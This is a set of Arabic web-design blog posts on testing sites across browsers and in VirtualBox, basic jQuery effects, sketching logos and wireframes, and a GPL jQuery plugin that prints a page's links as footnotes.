Photo By : laihiu.
متصفحي المفضل و طفلي الثالث ( حسنا هذه مبالغة !) لكني  اكن له الكثير من الولاء و اصارع رغبتي في التحول لكروم . لكن هو من المتصفحات المهمة جدا و التي يجب أن يظهر موقعك عليها بشكل جيد وحتى وقت قريب كنت أواجه صعوبة في تصفح المواقع العربية و حتى الشهيرة منها لكن الحال أفضل الآن و لله الحمد .

الويندوز

بالطبع يمكنك تحميل النسخة الحالية من الموقع الرسمي . و من ثم يمكنك تحميل النسخ الاقدم كإصدارات Stand Alone يمكنك تشغيلها من غير تركيب ( تسطيب) . لا أعتقد انك تحتاج لتحميل كل النسخ يمكنك تحميل نسخة من كل اصدار ١ و ٢ و٣ و هكذا . مع أني اعتقد ان مستخدمي فايرفوكس نشطين و القليل منهم لن يقوم بتحديث متصفحه لكن الاحتياط واجب .

• Firefox Portable 3.0.15
• Firefox Portable 2.0.0.20
• Firefox Portable 1.5.0.10

الماك

بالطبع يمكنك تحميل النسخة الحالية من الموقع الرسمي . بالنسبة للإصدارات السابقة يمكنك تحميل برنامج  MultiFirefox و هو لتركيب أكثر من اصدار على جهاز واحد .

يمكنك إيجاد النسخ القديمة من فايرفوكس على الموقع الرسمي .و كما قلت بالنسبة لويندوز ( في حال لم تقرأ الجزء الخاص بويندوز لو كنت أنا من يقرأ ببساطة سأتجاهل جزء ويندوز و انتقل إلى هنا ) مستخدمي فايرفوكس نشطين  والتحديث سهل جدا لذلك فالأغلب منهم  يحدث متصفحه باستمرار لكن الاحتياط واجب .

سفاريSafari

أجده أنيق وسريع لكني لم  اتعود استخدامه كثيرا لكن بالطبع أحتاج لتجربه التصميم عليه .

الويندوز

يمكنك تحميل نسخة سفاري من هنا .للأسف يبدو أن تركيب أكثر من نسخة من سفاري على الوندوز غير ممكن و قد جربت البحث بشكل موسع لكني لم أجد أي طريقة ممكنه يبدو ان الجميع يجمع ان هذا غير ممكن على الاقل مجانا لكن اكمل  القراءة  عن Browser seal في الأسفل  .

الماك

يمكنك تحميل نسخة سفاري الرابعة من هنا .يمكنك تحميل الأصدارات الأقدم من السفاري من هنا . لا أعتقد أنك تحتاج لتحميل كل الاصدارات كما اسلفت لكن يمكنك تحميل نسخة من كل أصدار أي اصدارمن رقم ٢ و اصدار من رقم ٣ و هكذا . راجع  compatibility grid لمعرفة أي النسخ ستعمل مع نظام تشغيلك .

جوجل كروم

Photo by : adria.richards

متصفح ( حتى كتابة هذا الموضوع ) جديد لذلك يمكنك تحميله من الموقع الرسمي . في الحقيقة يبدو ان شعبية المتصفح اخذه في الزيادة  و أكثر ما لاحظته هو السرعة مع ملاحظة اني استخدمه أحيانا و استخدامي بدون إضافات .

أوبرا

Photos by : SlipStreamJC

في قائمة أولوياتي هذا المتصفح يتربع في المركز الأخير ( مع الاحترام الشديد لكل  مستخدميه ) . أكثر ما أنعش هذا المتصفح هو سوق الهواتف المحمولة . الدعم للعربية ظهر حديثا ( صحح لي لو كنت مخطأه ) و بالتالي عند تصميم المواقع العربية بالذات فأنا أمر على النسخة الأخيرة منه مرورا سريعا .و أحمل في العادة النسخة الأخيرة منه . ما لاحظته أنك لو قارنت بين صفحتين على نسختي اوبرا  ١٠ على سبيل المثال أحدهما في ويندوز و الأخر في ماك ستجد اختلاف في عرض و شكل الصفحة  و هذا لم الاحظه مع أي المتصفحات الأخرى .

و الآن نفس عميق .. شهيق و زفير .. بعض الماء و بعض العصير و ربما بعض الهواء النقي .. و تذكر صبرا جميلا .. الله المستعان .

انترنت اكسبلورر

Photo by : John Martz

الويندوز

IE Tester

و هو برنامج مجاني يتيح لك تجربة صفحاتك على جميع متصفحات انترنت اكسبلورر 5-6-7-8 . البرنامج يوفر عليك الكثير من الوقت . قد لا يكون مستقرا احيانا و يتوقف و يظهر لك رسالة خطأ لكن بشكل عام هذا أفضل من تحميل نسخ مختلفة .و هو ما استخدمه .

Internet explorer collection

لو لم يعجبك البرنامج السابق فهذا قد يكون بديل مناسب أو يمكنك ان تستخدمه بجانب السابق . و هو بيئة لتجربة برنامجك على معظم نسخ انترنت اكسبلورر .

بديل   لكل الإصدارات في  للسابق

هناك برنامج Browser seal و هو يحتوي على نسخ لجميع المتصفحات السابقة ( اوبرا – سفاري – فايرفوكس – انترنت اكسبلورر و كروم ) لكنه ليس مجاني يتوفر بنسختين  لم أجربه لو كنت جربته فضلا اخبرنا عنه .في وصف البرنامج يبدو أنه يشغل النسختين ٣ و ٤ من المتصفح  سفاري أيضا .

ماك

من تصبر صبره الله .. نبدأ ..

الخيار الاول

هذا خيار صعب مايكروسوفت اوقفت دعم انترنت اكسبلورر للماك .كما و ظهرت برامج تقوم بتشغيل نسخ من انترنت اكسبلورر في بيئة ماك مثل برنامج Ies4osx و الذي استخدمته فترة من الزمن لتشغيل النسخة السادسة من انترنت أكسبلورر لكن المشروع الآن توسع و اصبح ضمن مجموعة winebottler و التي عند تحميلها يمكنك من تشغيل بعض برامج الويندوز على الماك .ما زال المشروع في اوله وهو تجريبي و قد حملته لكن  أيضا لم اتمكن سوى من تحميل الاصدار السادس اما السابع و الثامن فقد واجهت مشاكل في التحميل و الاعداد .

الخيار الثاني

و هي خطوة أجلتها كثيرا و هو تركيب الويندوز على نظام الماك .. لم أكن اريد أن افسد روعة و أناقة جهازي لكن ما باليد حيلة . أردت تركيب نسخة ويندوز تعمل بسهولة من داخل نظام الماك دون الحاجة للخروج من النظام حتى اتمكن من التجربة و التعديل في نفس الوقت . هناك الكثير من الخيارات المتاحةلتركيب الويندوز .

• VMware Fusion : جربت استخدامه في البداية أعجبني خاصة ان هناك خاصية متاحة لتشغيل البرامج من الويندوز لتبدو كما لو كانت تعمل تحت نظام الماك . لكني بعد فترة أحسست انه ارهق جهازي كثيرا فحذفته .( برنامج تجاري )
• Parallel : لم أجربه لكن يبدو أنه أحد اشهر البرامج ( برنامج تجاري )
• Virtual Box :  هذا هو خياري الحالي (مجاني ). اخبرني عنه شخص على توتير و احتفظت بالوصلة و قررت تجربتها الاغراء الاكبر كان أن البرنامج مجاني فلم يكن الامر يستحق شراء برنامج لأداء الغرض.

مشاكل و حلول عند تركيب  Virtual box

تركيب النظام سهل جدا و هي مجموعة من الخطوات المفصلة و السهلة .انا اخترت تركيب نظام ويندوز أكس بي لسبيبن اولا أني أملك نسخة أصلية كاملة أما نسختي من الويندوز فيستا هي نسخة ترقية و ليست كاملة . ثانيا النسخة أخف من الويندوز فسيتا .

بعد التركيب واجهت المشاكل التالية :

١- حجم الشاشة و مميزات أخرى

بعد تركيبي للبرنامج و تركيب الويندوز بنجاح لم استطع الحصول على دقة الشاشة المناسبة و التي تتيحها شاشتي . حاولت بدون فائدة سواء من داخل الويندوز أو من خلال البرنامج نفسه . ثم عرفت اني احتاج لتركيب Guest addition .

شغل نظام التشغيل الضيف في حالتنا الويندوز . و من قائمة البرنامج في الأعلى اختر install Guest additions .  ستبدأ خطوات التركيب على الويندوز .  قد تظهر لك رسالة خطأ أطلب منه الاستمرار و هكذا بعد الانتهاء سيعيد الويندوز تشغيل نفسه .

و الآن يمكننك الاستمتاع بمميزات إضافية مثل دقة الشاشة ، الانتقال بالفأرة بين النظامين سيكون أكثر سلاسة ، النسخ و اللصق بين النظامين و خاصية Seamless mode لتشغيل برامج الويندوز و كأنها جزء من نظام الماك.

٢- مشاركة الملفات مع النظام الاصلي

و بعد تعديل حجم الشاشة  و تركيب كل البرامج اللازمة. كنت أريد العمل على السيرفر الشخصي نفسه المركب على الماك . بمعنى عند استدعاء Localhost يمكنني استدعاءه على الاثنين و لكن الملفات موجودة ضمن نظام الماك .

جربت حيل كثيره و لكن الحيلة الناجحة كانت هي الحيلة التي وجدتها في موقع robsanheim.com و فيها نثبت رقم الايبي الخاص بالسيرفر لاني لا يمكنني الاعتماد على الايبي الحالي لي كونه متغير  و ليس ثابت . افتح التيرمنال Terminal تجده في Applications > Utilities > Terminal .

و الصق التالي

sudo ifconfig lo0 inet 10.0.0.100 netmask 255.255.255.0 alias

و الآن في شريط المتصفح يمكنك كتابة الايبي الجديد http://10.0.0.100 بدلا من  localhost .بالطبع تم اختيار هذا الرقم لكن يمكنك وضع الرقم الخاص الذي تفضل طالما انه في نطاق غير مستخدم لكن حتى الآن هذا الرقم يعمل معي بشكل رائع .و يمكنك تجربة الصفحات من ماك و ويندوز .

لكن عليك تنفيذ التعليمة السابقة كل مرة قمت بإعادة تشغيل الجهاز . المقال اقترح تعديل الملف rc.local لكن هذه الطريقة لن تعمل مع النسخة الجديدة مثل leopard و Snow leopard .ما قمت به هو إنشاء  ملف تعليمات صغيرScript و تحويله لتطبيق Application و إضافته لقائمة البرامج التي يتم تنفيذها تلقائيا عند التشغيل .

افتح  Apple script editor تجده في مجلد  Utilities و اضف السطر التالي

do shell script "sudo ifconfig lo0 inet 10.0.0.100 netmask 255.255.255.0 alias" user name "USERNAME-HERE" password "PASSWORD-HERE" with administrator privileges

استبدل USERNAME-HERE باسم المستخدم في الجهاز و PASSWORD-HERE بكلمة المرور للنظام . لو لم تكن تريد وضع كلمة مرورك في الملف يمكنك حذف الجزء الأخير منذ  user name و حتى نهاية السطر . و لكن في كل مرة تشغل الجهاز سيطلب منك كلمة المرور .

احفط الملف و عند الحفظ من خانة File format اختر Application و خزنه في المكان الذي تفضل .

الآن من System Preferences انتقل إلى Accounts .اختر اسمك ثم اختر لسان التبويب login Item و اضغط على علامة + لإضافة الملف  للقائمة  .

و الآن في كل مرة تشغل الجهاز ستنفذ الشفرة . أنا اقوم بهذا منذ اشهر و لم أواجه أي مشكلة حتى الآن .حتى بعد الترقية من  Leopard إلى Snow Leopard.

ختام

غصة و همسة

في المرة القادمة التي تطلب من مصمم أن يصمم لك موقع أو قالب تذكر أنه فعليا يصمم الموقع ٤ مرات و أنا اتكلم عن المصمم الحقيقي  الذي يصمم على أسس . فهو يصمم الموقع مرة للمتصفحات الراقية + مرة لأنترنت اكسبلورر ٧ + و مرة لأنترنت اكسبلورر ٦ + مرة للهواتف الذكية .فلا تقلل من قيمة عمله  و تبخس من حقه و تطلب منه تصميم مقابل ٩٩ دولار..خليها  ١٠٠ دولار علشان خاطر قراء المدونة و الشاي و الكابتشينو علينا .

درس عمل إضافة على الصورة بواسطة ~A-YAHri

تغيير لون العينين بواسطة ~MileyHayes

درس تكسير الصورة بواسطة ~ MahdyDesigns

التعامل مع الصور ذات الخلفيات الخضراء و اقتطاعها بواسطة ~osama0gamal

التلوين في الفوتوشوب بواسطة ~KD1only

دمج الصور للحصول على منظر طبيعي خلاب بواسطة ~ CamaroGirl666

دمج الفساتين بواسطة ~CamaroGirl666-Stock

رسم كرة شعر بواسطة ~CamaroGirl666-Stock

رسم ورقة بتأثير واقعي بواسطة ~thehonor2

دروة ارسم معي بواسطة ~MEMO-DESIGNER

الرسم بالفيكتور بواسطة ~nardeen

تحويل صورة عادية إلى صورة فكتور بواسطة ~shog-al3yon

يمكنك تحميل المكتبة من موقعها الرسمي Jquery .

عند تحميلها يمكنك استدعاها بواسطة

<script type="text/javascript" src="jquery.js"></script>

لو كنت وضعت المكتبة في مجلد منفصل تأكد من إضافة اسم المجلد في الشفرة السابقة .

لو كنت تستخدم وردبريس ضع الملف في مجلد قالبك و استخدم الدالة التالية

<script language="javascript" type="text/javascript" src="<? bloginfo('template_url') ?>/jquery.js "></script>

و الآن إذا أردنا لاي أمر أن يتنفذ عند تحميل الصفحة و قبل تحميل المحتوى يجب أن يتم استدعاءه داخل الدالة التالية .

$(document).ready(function() {

// هنا ضع أوامرك

});

استخدام هذه الطريقة له فوائد كبيرة و هي الطريقة الأضمن للقيام بذلك و تذكر كل أسطر و دوال الجافا سكريبت التالية ستكون داخل هذه الدالة أو داخل هذين السطرين .

حيلة ١:عرض و أخفاء

يمكننا عرض و اخفاء جزء من الصفحة بشفرة بسيطة جدا . في موقعنا في القائمة الجانبية في صندوق البحث هناك زر الاوسمة لو ضغطت عليه ستظهر الاوسمة و لو ضغطت عليه مرة أخرى تختفي .

ما سنقوم به هو إنشاء وصلة أو زر للضغط عليها و إنشاء المنطقة التي ستعرض فيها الاوسمة و إعطاءها معرف خاص

الزر سيكون بالشكل التالي .. لاحظ أننا يجب أن نعطي معرف خاص للزر مثلا هنا اسميته togglebutton . المعرف id ضروري لأنها الطريقة التي سيميز بها الجافا سكريبت هذا الزر عن غيره .

xhtml

<input type="button" id="togglebutton" value="الأوسمة " />

و المنطقة التي ستظهر و تختفي

<div id="sidebartags"">هنا الاوسمة  ...</div>

المنطقة حددتها كتقسيم div يمكن أن تكون أي وسم p , span و غيرها . و اعطيتها sidebartags كمعرف ID .

Css

لن ندخل في تفاصيل الشكل الجمالي من ألوان و اطر فهذا ليس موضوعنا لكن انا أريد أن لا يظهر المحتوى للزائر عند تحميل الصفحة فما سأقوم به هو مبدأيا إخفاء المحتوى و ذلك بواسطة التالي

#sidebartags{Display:none;}

و بالتالي عند تحميل الصفحة سيكون المحتوى مخفي.

JS

أولا نريد إعطاء الزر حدث event الضغط كأننا نأمر الزر إذا تم الضغط عليك نفذ التالي و سيكون ذلك بواسطة الحدث Click

$(document).ready(
function() {$("#togglebutton").click(function () {
// أوامرنا هنا
});
});

و الأن سنستخدم الدالة Toggle ( و هي دالة خاصة بإظهار و اخفاء العناصر يختبر العنصر لو كان ظاهرا يخفيه و لو كان مخفيا يظهره ).لذلك سنخبره أن يظهر و يخفي المنطقة sidebartags .

<scirpt type="text/javascript">
$(document).ready(
function() {
	$("#togglebutton").click(function () {
		$("#sidebartags").toggle("slow");
	});
});
</script>

بالطبع يمكنك ترك الدالة toggle بدون متغيرات أو قيم لكني اعطيته القيمة Slow لتكون الحركة بطيئة .

حيلة ٢: تأثير مرور الفأرة

لو لاحظت الصور من فلكري في أسفل الموقع ستجد أنها باهته لكن عند مرور الفأرة عليها ستظهر بشكل أوضح . هناك طريقة للقيام بذلك بواسطة css لكنها في نظري لن تكون بنفس الجمال خاصة في طريقة تدرج اللون .

جميع الصور في الاسفل تحمل Class المسمى thumb .

<img  src="image.gif"  class="thumb"/>

سنستعين هنا بالدالة fadeTo وهي تقوم بتعديل شفافية الصورة بالتدريج .

$(".thumb").fadeTo ("slow", 0.3);

سنطلب منه اولا و عند التحميل أعطي الصور درجة شفافية 0.3 حيث ١ تعني ظهور الصورة بالكامل و 0 يعني صورة شفافة بالكامل .

بعد ذلك سنستخدم الحدث event المسمى hover و هو مخصص لالتقاط حركة مرور الفأرة على العنصر . فهو يميز هل مرت الفأرةعلى العنصر و هل خرجت من على العنصر .

بالشكل التالي

$(".thumb").hover(
function(){
      $(this).fadeTo("slow", 1.0)
;},
  function(){
$(this).fadeTo("slow", 0.3);
});

عند مرور الفأرة نفذ الدالة الأولى و التي ستقوم بتحويل الصورة إلى الشفافية ١ ( أي ظاهرة غير شفافة ) و عند خروج الفأرة من على الصورة نفذ الدالة التالية اعد الصورة للشفافية 0.3 .

الشفرة بشكل كامل

<script type="text/javascript">
$(document).ready(function() {
	$(".thumb").fadeTo ("slow", 0.3);
	$(".thumb").hover(
		function(){$(this).fadeTo("slow", 1.0);},
		function(){$(this).fadeTo("slow", 0.3);
	});
});
</script>

‪الحيلة ٣ ‫:‬ روابط خارجية مميزة

الحيلة التالية ستقوم بإضافة أيقونة صغيرة إلى جانب الوصلات الخارجية .

$(document).ready(function() {
 $('a').filter(function() {
 return this.hostname && this.hostname !== location.hostname;
 }).after(' <img src="/images/external.png" alt="external link"/>');
});

سنقارن بين عنوان الموقع location.hostname وبين عنوان الوصلة this.hostname لو اختلفا اضفنا الأيقونة بعد الوصلة after كما علينا التحقق من وجود عنوان موقع this.hostname لتفادي تحقق الشرط في حالات خاطئة مثلا في حالة وصلة إلى بريد إلكتروني Mailto .

الشرط سيكون كالتالي

this.hostname && location.hostname !== this.hostname.

سنستخدم الدالة  filter و من اسمها هي فلتر أو تصفية فقط العناصر التي تحقق الشرط . و بعدها باستخدام الدالة  ِAfter اضف صورة .

مصدر هذه الحيلة :Learning Jquery

الشعار

ربما يكون هذا أصعب جزء قبل البدء هذه كانت خطوطي العريضة :

• البساطة .
• السطوع و الرمزية : لم أكن ابحث عن شعار يحتوي على نص بل شعار رمزي اكثر بمجرد ان تراه تمييزه .

الخطوة ١: المسودات :

أحب دوما أن ابدأ التصميم بالطرق التقليدية بالورق و القلم . قبل فترة قررت أن أبدأ أي تصميم برسم سكيتش Sketch على الورق في البداية كان ذلك صعبا لأني كنت أحس أن هذا مضيعة للوقت و أن لدي فكرة و اريد تطبيقها مباشرة لكني الأن و بعد تجربة هذا أكثر من مرة اعتقد أن استخدام الورقة و القلم فتح لي ابواب أوسع . و منذ ذلك الحين أصبت بهوس جمع الأقلام الرصاص .
على الورقة لا يجب أن يكون التصميم دقيقا أو مرتبا لكنه يعبر عن الفكرة المبدأية للتصميم و التي ممكن أن يتم إعادة صياغتها قليلا بعد ذلك .

في الماضي كنت استخدم أوراق من نوع A4 للرسم أو دفاتر صغيرة أحملها في حقيبتي . لكن كنت أواجه التالي رسم المسودات بترتيب عشوائي في الصفحة كان يشوش أفكاري و لا يعطي الفكرة حقها عند مراجعتي للأفكار و بالتالي صممت هذا القالب البسيط و الذي أطبعه على ورق A4 و ارسم عليه. الخطوط الهندسية داخل كل مربع تساعدك على ترتيب خطوطك  و رسم خطوط مستقيمة أكثر .

تحميل القالب

عندما بدأت لم تكن الأفكار كما أريد لم استطع أن أحدد الأتجاه الذي أريد و بالتالي بدأت “بخريطة العقل” الخاصة بالشعار و هي عملية عصف ذهني تساعدني كثير في التصميم .بعد ذلك تدفقت الأفكار .

الخطوة ٢: الرسم :

من النماذج السابقة اخترت مجموعة اعتقدت أنها تحتوى على أفكار واعدة و جربت تطبيقها . استخدم برنامج Inkscape   لرسم البنية الأساسية للشعار و هو بالمناسبة البرنامج الذي استخدمه في كل رسوماتي المتجهية فهو أفضل من وجهت نظري للرسم من الألستريتور ( قد يخالفني البعض الرأي!).

أرسم جميع الشعارات التي اخترتها باللون الأسود فالشعار المثالي هو الذي  يمكن تحويله إلا الأبيض و الأسود أو الألوان دون أن يفقد روعته .

لن اتطرق هنا لخطوات رسم الشعار بالتفصيل لاني لا اعتقد ان هذا مفيد خاصة انه شعار بسيط و لاني لم احتفظ بصور للخطوات فعذرا.

الخطوة٣: التلوين :

بالرغم من أن الInkscape مميز من ناحية الرسم إلا أن خواص التلوين و التأثيرات الخاصة ما زالت تحتاج للتطور قليلا و في رسوماتي المتجهية ما زلت أستخدم inkscape   لكن بالنسبة للشعارات أفضل تلوينها أحيانا في الألستريتور أو الفوتوشوب لكني لا اريد أن أفقد صيغة الرسم المتجهي Vector .

احد الطرق التي وصلت لها هي فتح الملف على برنامج الألستريتور و نسخ الشعار ثم لصقة في الفوتوشوب فأحصل على صورة متجهية يمكن تعديلها بواسطة أداة القلم .لو كنت ستبدأ الرسم بواسطة الفوتشوب تأكد من رسم شعارك بواسطة  الباث Path tool و بالرغم من الباث تول ليس الأروع و الأفضل للرسم المتجهي إلا اني تمكنت  من استخدامه بطريقة متطورة من قبل .

للألوان انا دائما أزور معرض الأولوان Color Lovers فهو معرضي المفضل لاستلهام الألوان . قد لا اتقيد بلوحة ألوان معينة لكني استفيد منه كثيرا. في حالتي هذه كنت اعرف اني اريد استخدام اللون الرمادي مع درجة ألوان ثانية .جربت أكثر من لون . و أعجبتني مجموعة من الألوان :

و في النهاية  و كما يمكنكم أن تروا لم استخدم أي لون لكني استخدمت  أول لون في سياق تصميم الصفحة و احتفظت  باللونين الاخيرين للمشروع القادم ( قريبا).

الموقع

البحث

احتفظ دائما في مفضلتي بالمواقع التي تعجبني مفهرسة وفقا لنوعها و كنت قد قررت من البداية أني لا أريد شي معقد لمعرضي الشخصي كل ما أريده هو صفحة واحدة و بعض البهارات بواسطة الجافا سكريبت . و بالتالي جربت البحث عن “One page portfolio “في صديقنا الصدوق جوجل و قد وجدت الكثير منها و هي على العموم من التصاميم الرائجة Trendy .هذه هي المواضيع التي استعت بها :

• 25 One Page Portfolio Websites of Designers on Twitter
• Web Design Inspiration: 40+ Impressive Single Page Websites …
• Theme forest

وغيرها .

المخطط السلكي Wireframe

حسب ويكيبيديا هي دليل  بصري يستخدم في تصميم واجهة لاقتراح هيكل موقع على شبكة الإنترنت ، والعلاقات بين صفحاته. و عادة  يتم الانتهاء منه قبل أي عمل فني .و لتبسيط ذلك  لو نظرنا للأشكال الثلاثية الابعاد في العادة يتم تكوين الهيكل لها بواسطة شكل مكون من أسلاك قبل أن نكسو الشكل بالتفاصيل و الألوان و الملامح.

هذا مماثل بشكل كبير لما نقوم فنحن عند رسم المخطط السلكي نحدد تقسيم الصفحة مكان الازرة و مكان القوائم و مكان الترويسة لكنا لا نحدد التصميم الفعلي و الألوان.و لو كنت تصمم برنامج أو تطبيق على شبكة الانترنت فأنت ترسم الشاشات التي تظهر للمستخدم و كيفية الأنتقال من شاشة لشاشة.

الطريقة التي استخدمها هي خليط بين أكثر من طريقة و قد توصلت لها في النهاية و هي فعالة لي أنا سأعرضها هنا و قد تستلهم منها طريقتك .

عند رسم المخططات و بعد طباعة القوالب أفضل استخدام أقلام رصاص بأحجام مختلفة من h إلى B .مع أني في النماذج السابقة و التالية لم استخدمها لاني لم أجدها لان ابني الصغير لعب بها و تركها وسط العابه و استمريت  في البحث عنها لأيام .( لكني استخدمها في مشاريع اخرى سأعرضها في موضوعات أخرى إن شاء الله ) وبعدها استخدم القلم الرصاص العريض أو قلم حبر أسود ذوت خط عريض قليلا لتحبير المخطط .

أنا استخدم قوالب Konigi  ( يمكنك تحميلها من هنا ) . ما أقوم بها هو رسم مخطط سريع في Story Board للأشكال التي أفكر في استخدامها كالتالي :

بعدها أقوم بالمرور على المخططات الصغيرة في الأعلى و اختيار ما اعتقد انه اعجبني و اقوم بتكبيره على مخطط مكون من ورقة واحدة كبيرة .

قد لا تبدو أهمية wireframe في موقع بسيط كهذا لكن في المواقع الاكثر تعقيدا و خاصة التطبيقات ستجد أن لها فائدة كبيرة و  لكني منذ اعتمدت هذه الطريقة و أنا أفضل ابداعياو أنتاجيا على الأقل انا اعتقد ذلك .

موضوعات أخرى و مصادر حول المخطط السلكي Wireframe :

• مجلة Wire frame مصدر إلهام كبير في هذا المجال .يمكنك أن تجد نماذج و طرق يتبعها المصممون . و هنا يمكنك ان تجد أن لكل شخص طريقته التي يفضلها .
• ٣٥ مصدر للمخططات السلكية
• ٩ برامج لتصميم المخططات : ليس بالضرورة استخدام الورقة و القلم لتنفيذ المخطاطات .
• I love wireframes : نماذج .

المسودة

بعد رسم المخططات نريد رسم المسودة و هي التصميم الفعلي للموقع . في المخططات في الأعلى ستجد أني وضعت علامة صح أو خطأ و هذا حدث بعد أن راجعت التصاميم بعد ساعات . و انا أقوم بذلك بعد ساعات لاني ( و هذا رأي شخصي ) اعتقد ان نظرتي ستكون مختلفة عند مشاهدة التصماميم بعد فترات من رسمها .

مررت على المسودات في الأعلى و اخترت التقسيمات التي اعجبتني و نفذتها على الورق و هذا ما وصلت إليه .

من المهم تذكر أن ما نصممة على الورق ليس بالضرورة أن يظهر بشكل مطابق أو دقيق على الموقع قد تحدث تغيرات طفيفة هنا و هناك و هذا ما ستراه لاحقا في هذه السلسلة .

يمكنك زيارة معرض الشخصي على Falemadi.com

في الموضوع القادم .. حيل و أفكار في تصميم القالب على الفوتوشوب إن شاء الله .

لعل من أهم مميزات صفحات الطرز المتراصة CSS هي التحكم الكامل في كيفية عرض مستند HTML حسب ما يريد كاتبه. فيمكننا مثلاً عرض نفس المستند بأشكال مختلفة على حسب نوعية المتصفح، فإذا كان الزائر يستخدم الحاسوب على سبيل المثال، فيمكننا عرض شكل الصفحة بما يتناسب مع شاشة الحاسوب. وإذا كان الزائر يستخدم متصفحاً كفيّاً، يمكننا أيضاً عرض نفس المستند، ولكن بشكل يتناسب أكثر مع شاشة المتصفحات الكفيّة الصغيرة.

ويمكننا أيضاً الاستفادة من CSS عند الطباعة. كما تفضلت أختي الفاضلة فاطمة العمادي، وطرحت بعض الأفكار التي يمكننا الاستفادة منها عند طباعة مستندات HTML من الويب.

إحدى الحيل التي طرحتها فاطمة كانت “إظهار عناوين الوصلات”. وكانت حيلة جميلة، حيث أن مستندات HTML حرفها الأول H وهو اختصار Hypertext، ومعناه النص التشعبي، وعند النقر عليه يؤدي إلى نصوص وصفحات أخرى. ولكن عند طباعة المستند على الورق، يفقد الرابط هذه الخاصية التشعبية ويصبح جامداً. لذلك كانت هذه الحيلة مفيدة لمعرفة الروابط عند الطباعة وإلى أين تؤدي، حتى إذا أراد الزائر تتبعها على الويب، يستطيع وبكل سهولة.

صعوبة قراءة الروابط المتداخلة

قرأت مقالة للكاتب Aaron Gustafson على موقع A List Apart يتحدث فيه عن المشكلة التي يواجهها عند استخدام مثل هذه التقنية عند الطباعة. حيث أنها مثالية جداً عندما تكون الروابط قليلة ومتفرقة في الصفحة.

ولكن تتعقد الأمور عندما تكون الروابط في الصفحة كثيرة ومتجانبة. وربما تكون بعض الروابط باللغة العربية مما يزيد الطين بلة، وتظهر الرموز بدلاً من الأحرف العربية. وتصعب حينها قابلية القراءة.

إذاً مالحل؟

استخدام الحواشي

ربما قرأتم الكثير من الكتب، ولاحظتم أنه يتم استخدام الحواشي أسفل الصفحات لسرد قائمة التعاريف أو مصادر الإقتباس للرجوع إليها. والحل الذي قدمه Aaron في مقاله كان معاملة مستندات HTML كالكتب، وإدراج كل رابط أو مصدر اقتباس في آخر الصفحة المطبوعة. حيث باستخدام هذه الحيلة نجني فائدتين:

1. سهولة الرجوع إلى المصادر والروابط التشعبية على الورق لاحقاً.
2. تحسين قابلية القراءة.

جافاسكربت للمهمات الصعبة

جربت استخدام الحل المطروح في المقال على مقال كنت قد كتبته من قبل على المشروع. وكانت النتيجة غير مرضية، خصوصاً وأن بعض الروابط كانت باللغة العربية.

الحاشية.

لذا فكرت في استخلاص الفكرة، وكتابتها بطريقتي الخاصة التي تفيد المقالات العربية والتي لها خصوصيتها من ناحية الكتابة من اليمين وبعض الأمور الأخرى.

الحاشية.

وكعربون شكر وتقدير لهذا الموقع القدير، والذي تعلمت منه الكثير في بدايتي. قررت طرح البرمجية لكم بترخيص حر ومجاني غنو GNU GPL النسخة الثانية.

إضافة الروابط للطباعة لمكتبة jQuery مع CSS

• عرض المثال

• تحميل المثال

عند عرض طباعة المقال، سترون تحسناً واضحاً، وإدراج الروابط بشكل تلقائي في نهاية الصفحة. والشفرة التالية بلغة الجافاسكربت خاصة بالإضافة لمكتبة jQuery.

/*
برنامج إضافة الروابط للطباعة لمكتبة jQuery للجافاسكربت الإصدار ١,٠، حقوق النسخ © ٢٠٠٩ <عبدالرحمن العتيبة> abdulrahman@mawqey.com
هذا البرنامج يوزع دون أية ضمانات على الإطلاق؛

هذا البرنامج حر، يحق لك توزيعه و/أو تعديله وفقاً لبنود رخصة غنو
العمومية كما نشرتها مؤسسة البرمجيات الحرة، الإصدار
الثاني.

هذا البرنامج يوزع على أمل أن يكون مفيداً، ولكن دون أية ضمانات،
بما في ذلك ضمانات التسويق أو الملاءمة لغرض معين. انظر رخصة غنو
العمومية لمزيد من التفاصيل.
*/
(function($) {
	$.fn.linksForPrint = function() {
		var container = this;
		$hr = $("<hr/>")
			.addClass("nodisplay")
			.insertAfter(container);
		$footnotes = $("<div/>")
			.addClass("footnotes nodisplay")
			.insertAfter($hr);
		$orderedList = $("<ol/>")
			.appendTo($footnotes);

		var subNumber = 1;
		var linksArr = [];
		var subText = '';
		$(container).find("*[cite],*[href]").each(function(){
			var link = $(this).attr("href") ? $(this).attr("href") : $(this).attr("cite");

			if ((i = $.inArray(link, linksArr)) > -1)
			{
				subText = i + 1;
			}
			else
			{
				subText = subNumber;
				$orderedList.append("<li>&#x202A;" + decodeURI(link) + "&#x202C;</li>");
				linksArr.push(link);
				subNumber++;
			}
			subText = "&#x200F;<sup class=\"nodisplay\">(" + subText + ")</sup>";
			if (this.tagName.toLowerCase() == 'blockquote')
			{
				$(this).children(":last-child").append(subText);
			}
			else
			{
				$(this).after(subText);
			}
		});
		$(container).addClass("deleteLinks");
	}
})(jQuery);

ستحتاجون إضافة القليل من شفرات CSS. حيث هذه الشفرات تهتم بإخفاء الروابط عند زيارة الصفحة من الحاسوب، وإظهارها عند الطباعة.

@media screen
{
	.nodisplay
	{
		display:none;
	}
}
@media print
{
	.article a:after
	{
		content: " ("attr(href)")";
		font-size: 90%;
	}
	.deleteLinks a:after
	{
		content: "";
	}
	.footnotes
	{
		font-size: 90%;
	}
}

استخدامها

كل ماعليكم فعله هو نسخ الشفرة في الأعلى، ولصقها في ملف يمكنكم تسميته linksforprint.js وإدراجه في مستند HTML كما في صفحة المثال، ومن ثم اختيار تقسيمة المقال div عبر jQuery selectors.

عندما تكون الصفحة جاهزة document.ready نقوم باختيار تقسيمة المقال article div لتطبيق الشفرة عليها، والتي تتيح جمع وعرض الروابط عند الطباعة. اخترت التقسيمة باسم الفئة class name وهي باسم article. لذا، عندما أختار تقسيمة المقال سأختارها بالشفرة التالية:

<script type="text/javascript">
//<![CDATA[
$(function(){
	$(".article").linksForPrint();
});
//]]>
</script>

هنا يمكنكم التعديل، قد لا تكون تقسيمة المقال لديكم باسم article لذا يمكنكم تسيمتها واختيارها حسب تقسيمة المقال لديكم.

شرح الشفرة

تجهيز الحاشية لإدراج الروابط

في البداية، نجهز خطاً أفقياً لإنهاء المقال وبدء مساحة الروابط والمراجع (تقسيمة div مع عنصر القائمة المرتية ol) تكون أسفل المقال. ثم إضافة فئة class اسمها nodisplay حتى لا تظهر المساحة لزائر المقال من شاشة الحاسوب. وإنما فقط عند الطباعة.

var container = this;
$hr = $("<hr/>")
	.addClass("nodisplay")
	.insertAfter(container);
$footnotes = $("<div/>")
